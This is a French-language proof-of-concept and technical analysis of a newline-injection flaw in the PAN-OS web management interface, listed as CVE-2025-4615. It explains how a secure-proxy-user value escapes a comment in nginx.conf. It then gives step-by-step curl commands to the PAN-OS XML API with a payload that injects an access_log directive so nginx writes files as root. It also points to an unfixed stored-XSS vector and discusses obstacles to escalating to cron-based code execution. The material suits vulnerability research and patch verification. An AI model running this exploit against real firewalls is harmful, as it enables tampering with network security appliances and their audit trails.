
cve-2025-4615 poc & deep dive
Vulnérabilité : Neutralisation inadéquate des entrées dans l'interface de gestion Web de PAN‑OS
Avis du fabricant : https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0 : 6.9 (MOYEN) — Intégrité HAUTE, Disponibilité HAUTE
CWE : CWE-83 (Neutralisation inadéquate de script dans les attributs d'une page Web)
CAPEC : CAPEC-165 (Manipulation de fichier)
Crédit : Visa Inc.
Date de l'analyse : 2026-03-26
CVE-2025-4615 est une vulnérabilité d'injection de nouvelle ligne dans le champ de configuration secure-proxy-user de PAN‑OS de Palo Alto Networks. Un administrateur authentifié peut injecter des caractères de nouvelle ligne (\n) dans le nom d'utilisateur du proxy via l'API XML ou l'interface Web. Lors du commit, cette valeur est écrite sans échappement dans /etc/nginx/nginx.conf, sortant d'une ligne de commentaire et injectant des directives nginx arbitraires.
Impact :
access_log injectéeRemarque : Le correctif du fabricant (suppression des caractères de nouvelle ligne) est incomplet — le même champ reste vulnérable au Cross‑Site Scripting (XSS) stocké car aucun encodage de sortie ni liste blanche de caractères n'est appliqué.
Le champ secure-proxy-user est défini dans le schéma PAN‑OS (schema.xml) comme une simple chaîne sans assainissement des entrées :
<element name="secure-proxy-user" optional="yes" type="string"
help-string="Nom d'utilisateur du proxy sécurisé à utiliser"/>
Remarque : secure-proxy-server possède une contrainte regex (regex="^([0-9a-zA-Z.:/_-])+$"), mais secure-proxy-user n'en a aucune. Il existe une limite de 31 caractères, mais aucune restriction de caractères.
Lors du commit, PAN‑OS régénère /etc/nginx/nginx.conf à partir d'un modèle (/etc/nginx/nginx.conf.tmpl). Le modèle contient :
#pan_proxy_comment %s
Le signe %s est remplacé par la fonction de la bibliothèque libpanmp_mp.so qui concatène le serveur proxy, le nom d'utilisateur et le mot de passe chiffré en une seule chaîne. Sur la version vulnérable, les caractères de nouvelle ligne dans le nom d'utilisateur sont transmis tels quels.
Lorsque secure-proxy-user contient a\naccess_log /tmp/pwn3;\n#, le nginx.conf généré devient :
#pan_proxy_comment 8.8.8.9 a — Commentaire (inoffensif)
access_log /tmp/pwn3; — DIRECTIVE INJECTÉE (exécutée par nginx !)
# -AQ==encrypted_password== — Mot de passe commenté par le # injecté
La ligne 1 est un commentaire. La ligne 2 est une directive nginx valide au niveau du bloc http. La ligne 3 est neutralisée par le caractère # de l'attaquant.
Le processus maître nginx s'exécute en tant que root. La directive access_log oblige nginx à ouvrir/créer le fichier cible en tant que root. Cela permet :
Sur la version corrigée (11.1.13), le module d'écriture supprime les caractères de nouvelle ligne du nom d'utilisateur proxy avant de l'écrire dans nginx.conf. La même valeur malveillante produit :
#pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==
Tout reste sur une seule ligne, en sécurité dans le commentaire #.
Cependant, ce correctif est incomplet. Il ne traite que l'injection de nouvelle ligne. Le champ secure-proxy-user accepte toujours des caractères arbitraires (y compris ", <, >) sans encodage de sortie, laissant la porte ouverte au vecteur XSS stocké. Voir unit-43-xss.
secure-proxy-server configuré (nécessaire pour que le commentaire proxy apparaisse)curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"
# Charge : "a\naccess_log /tmp/pwn3;\n#"
# Total : 26 caractères (dans la limite des 31)
# Injecte : access_log /tmp/pwn3; — crée /tmp/pwn3 en tant que root
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"
Après la fin du commit (~30 s) :
/tmp/pwn3 est créé avec le propriétaire rootnginx -t -c /etc/nginx/nginx.conf rapporte : syntax is okLa valeur non échappée de secure-proxy-user se propage dans plusieurs fichiers :
Les modules d'écriture de curlrc (/root/.curlrc) et wgetrc (/root/.wgetrc) suppriment bien les nouvelles lignes, même sur la version vulnérable. Le module d'écriture de nginx.conf était le seul chemin qui ne faisait pas d'assainissement.
Des tests approfondis sur 11 vecteurs d'attaque ont confirmé qu'un RCE au niveau du système d'exploitation, autonome et provenant uniquement de CVE-2025-4615, n'est pas réalisable sur PAN‑OS 11.1.6-h7 avec nginx 1.20.1. Les trois obstacles critiques :
\x0A par nginx — empêche l'injection de nouvelles lignes brutes dans les fichiers journaux, bloquant l'injection cron malgré la tolérance de vixie-cron aux lignes parasites (confirmé en laboratoire : cron exécute les lignes valides entourées de parasites)log_format + access_log pour obtenir un contrôle du contenu sur les fichiers écritsL'expression "exécution de commandes arbitraires" de l'avis fait très probablement référence à des directives nginx arbitraires, et non à une exécution de commandes au niveau du système d'exploitation. Ceci est cohérent avec le score CVSS VC:N (aucun impact sur la confidentialité) et la nature du correctif.
Si l'un des trois obstacles était absent, le RCE serait trivialement réalisable via une injection cron.
Analyse réalisée dans un environnement de laboratoire isolé avec PAN‑OS 11.1.6-h7 (vulnérable) et PAN‑OS 11.1.13 (corrigé).
| Fichier | Impact |
|---|
/etc/nginx/nginx.conf | Critique — injection de directive nginx |
/opt/pancfg/tmp/.tdb_conf.xml | Base de configuration modèle (injection XML) |
/opt/pancfg/mgmt/audit/cfg-audit.xml,v | Corruption de la piste d'audit |
/opt/pancfg/mgmt/replaydb/replay.db | Corruption de la base de rejeu |
| Configurations de démon générées par XSL (authd, cord, useridd, etc.) | Valeur XML conservée avec nouvelles lignes |